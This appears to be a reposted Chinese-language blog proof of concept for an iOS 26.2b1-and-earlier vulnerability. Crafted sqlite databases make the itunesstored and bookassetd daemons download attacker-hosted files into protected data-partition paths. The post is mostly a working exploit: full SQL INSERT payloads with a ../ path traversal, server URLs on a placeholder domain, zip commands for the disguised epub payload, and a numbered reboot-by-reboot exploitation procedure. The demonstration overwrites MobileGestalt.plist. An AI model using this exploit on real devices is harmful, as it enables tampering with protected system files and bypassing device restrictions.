iOS26.1概念验证 (POC)

概念验证 (POC)

恶意精心构造的 downloads.28.sqlitedb 数据库可以修改数据分区 (/private/var/) 上的文件,甚至可以修改通常不允许修改的系统偏好设置和缓存。

设备兼容性
该 POC 适用于运行 iOS 26.2b1 或更早版本的任何 iPhone 和 iPad。

在我们的测试案例中,我们使用一台运行 iOS 26.0.1 的 iPhone 12。我们将把一个修补后的文件写入 /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist,这将激活设备并将其设备类型设置为 iPod9,1 (iPod touch 7),以演示漏洞利用成功。

文件要求
为了利用此 POC,我们需要满足以下几个要求:

  • 恶意的 downloads.28.sqlitedb 数据库 (阶段1)
  • 恶意的 BLDatabaseManager.sqlite 数据库 (阶段2)
  • 我们想要写入的目标文件,打包成 epub 格式。
  • 用于托管以下文件的服务端:
    • BLDatabaseManager.sqlite
    • iTunesMetadata.plist
    • 我们想要写入的目标文件。这可以是设备数据分区中由 mobile 用户拥有的任何文件。

预期结果
下载任务应因未经授权的目标路径而停止。

实际结果
文件写入被允许,除非目标路径由 root 控制,否则写入将失败。但是,使用此 POC 可以写入大多数由 mobile 用户拥有的文件和路径。

可写文件路径示例

  • /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/[...]
  • /private/var/mobile/Library/FairPlay/[...]
  • /private/var/mobile/Media/[...]
  • /var/mobile/[...]
  • 更多 …

阶段1 - downloads.28.sqlitedb

在我们的 downloads.28 数据库中,我们找到了几个表——特别值得关注的是 asset 表,它可以下载文件到文件系统中的各种路径。

它由 itunesstored 守护进程管理,因此我们受限于此守护进程的沙盒权限。

例如,它不能写入 /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist

但它可以写入我们的阶段2数据库位置:

/private/var/containers/Shared/SystemGroup/<某个_UUID_这里>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite

为了将文件下载到上述路径,我们只需要在我们的 downloads.28 数据库中添加一个新条目。以下 SQL 命令可以完成此任务:

INSERT INTO "main"."asset" ("pid", "download_id", "asset_order", "asset_type", "bytes_total", "url", "local_path", "destination_url", "path_extension", "retry_count", "http_method", "initial_odr_size", "is_discretionary", "is_downloaded", "is_drm_free", "is_external", "is_hls", "is_local_cache_server", "is_zip_streamable", "processing_types", "video_dimensions", "timeout_interval", "store_flavor", "download_token", "blocked_reason", "avfoundation_blocked", "service_type", "protection_type", "store_download_key", "etag", "bytes_to_hash", "hash_type", "server_guid", "file_protection", "variant_id", "hash_array", "http_headers", "request_parameters", "body_data", "body_data_file_path", "sinfs_data", "dpinfo_data", "uncompressed_size", "url_session_task_id") VALUES (1234567890, 6936249076851270150, 0, 'media', NULL, 'https://<URL域名>/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup/0DAF9578-C293-4C5D-9CF4-21E78AE8E372/Documents/BLDatabaseManager/BLDatabaseManager.sqlite', NULL, 'epub', 6, 'GET', NULL, 0, 0, 0, 1, 0, 0, 0, 0, NULL, 60, NULL, 466440000, 0, 0, 0, 0, '', NULL, NULL, 0, NULL, NULL, NULL, X'62706c6973743030a1015f10203661383338316461303164646263393339653733643131303036326266633566080a000000000000010100000000000000020000000000000000000000000000002d', NULL, NULL, NULL, NULL, NULL, NULL, 0, 1);

阶段2 - BLDatabaseManager.sqlite

此数据库由 bookassetd 管理,这是另一个负责在我们的 iDevice 上下载和管理 iBooks 的守护进程。它的沙盒权限更广,可以写入数据分区中大多数由 mobile 用户拥有的文件。

在我们的案例中,我们将把一个文件写入 /var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist

为了将文件下载到那里,我们进入 BLDatabaseManager.sqlite 数据库,并向 ZBDOWNLOADINFO 表添加以下行:

INSERT INTO "ZBLDOWNLOADINFO" ("Z_PK", "Z_ENT", "Z_OPT", "ZACCOUNTIDENTIFIER", "ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER", "ZISAUTOMATICDOWNLOAD", "ZISLOCALCACHESERVER", "ZISPURCHASE", "ZISRESTORE", "ZISSAMPLE", "ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH", "ZPERSISTENTIDENTIFIER", "ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH", "ZSIZE", "ZSTATE", "ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER", "ZLASTSTATECHANGETIME", "ZPURCHASEDATE", "ZSTARTTIME", "ZARTISTNAME", "ZARTWORKPATH", "ZASSETPATH", "ZBUYPARAMETERS", "ZCANCELDOWNLOADURL", "ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME", "ZCOLLECTIONTITLE", "ZDOWNLOADID", "ZDOWNLOADKEY", "ZENCRYPTIONKEY", "ZEPUBRIGHTSPATH", "ZFILEEXTENSION", "ZGENRE", "ZHASHTYPE", "ZKIND", "ZMD5HASHSTRINGS", "ZORIGINALURL", "ZPERMLINK", "ZPLISTPATH", "ZSALT", "ZSUBTITLE", "ZTHUMBNAILIMAGEURL", "ZTITLE", "ZTRANSACTIONIDENTIFIER", "ZURL", "ZRACGUID", "ZDPINFO", "ZSINFDATA", "ZFILEATTRIBUTES") VALUES
('1', '2', '3', '0', '0', '0', '0', '', NULL, NULL, NULL, NULL, '0', '0', '0', NULL, '4648', '2', '765107108', NULL, '767991550.119197', NULL, '767991353.245275', NULL, NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&price=0&salableAdamId=765107106&pricingParameters=PLUS&pg=default&mtApp=com.apple.iBooks&mtEventTime=1746298553233&mtOsVersion=18.4.1&mtPageId=SearchIncrementalTopResults&mtPageType=Search&mtPageContext=search&mtTopic=xp_amp_bookstore&mtRequestId=35276ff6-5c8b-4136-894e-b6d8fc7677b3', 'https://p19-buy.itunes.apple.com/WebObjects/MZFastFinance.woa/wa/songDownloadDone?download-id=J19N_PUB_190099164604738&cancel=1', '4GG2695MJK.com.apple.iBooks', 'Sebastian Saenz', 'Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL, NULL, NULL, NULL, 'Contemporary Romance', NULL, 'ebook', NULL, NULL, NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist', NULL, 'Cartas de Amor a la Luna', 'https://<URL域名>/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna', 'J19N_PUB_190099164604738', 'https://<URL域名>/fileprovider.php?type=gestalt2', NULL, NULL, NULL, NULL);

目标文件 - EPUB 格式

为了成功写入文件,文件需要具有正确的格式。

通常的结构如下所示:

mybook/
├── mimetype
├── META-INF/
│   └── container.xml
└── OEBPS/
    ├── content.opf
    ├── nav.xhtml
    └── chapter1.xhtml

在我们的案例中,我们稍微修改了一下结构,如下所示:

Caches/
├── mimetype
└── com.apple.MobileGestalt.plist

在压缩此结构时,我们需要确保 mimetype 文件不被压缩。

我们可以这样做:

zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist

生成的文件已准备就绪,可以放在服务器上,以便通过 BLDatabaseManager 下载到目标路径。


漏洞利用过程

  1. 启动设备,连接到具有互联网访问权限的稳定 WiFi 网络。
  2. 修改 downloads.28.sqlitedb 数据库,使其包含指向 BLDatabaseManager 的正确路径。我们需要在此处找到路径的正确 UUID。这可以通过使用命令 pymobiledevice3 syslog collect logs.logarchive 获取设备日志存档来实现。生成的文件可以在 Mac 的 Console.app 中打开,我们可以通过搜索 “BLDatabase” 轻松找到路径。例如:info 2025-10-20 22:43:29.111433 +0200 bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID_这里>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite。找到后,用正确的路径替换数据库中的路径。
  3. 首先,删除文件夹 /var/mobile/Media/Downloads 中的所有文件。
  4. 将精心构造的 downloads.28.sqlitedb 放入 /var/mobile/Media/Downloads/downloads.28.sqlitedb。这可以通过任何 Apple File Conduit (afc) 客户端完成,例如 3uTools、i4.cn 或使用 afcclient 命令行工具 (https://github.com/emonti/afcclient/tree/master)。
  5. 重启设备。重启后,/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist 处应该会出现一个文件,这表明第一阶段奏效了。
  6. 将此 /var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist 复制到 /var/mobile/Media/Books/iTunesMetadata.plist
  7. 再次重启。重启后,文件夹 /var/mobile/Media/Books/ 中应该会出现一些新文件 (asset.epub)。文件 /var/mobile/Media/Books/iTunesMetadata.plist 应该会消失,只需再次添加它。
  8. 再次重启
  9. 修改应该已成功写入。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值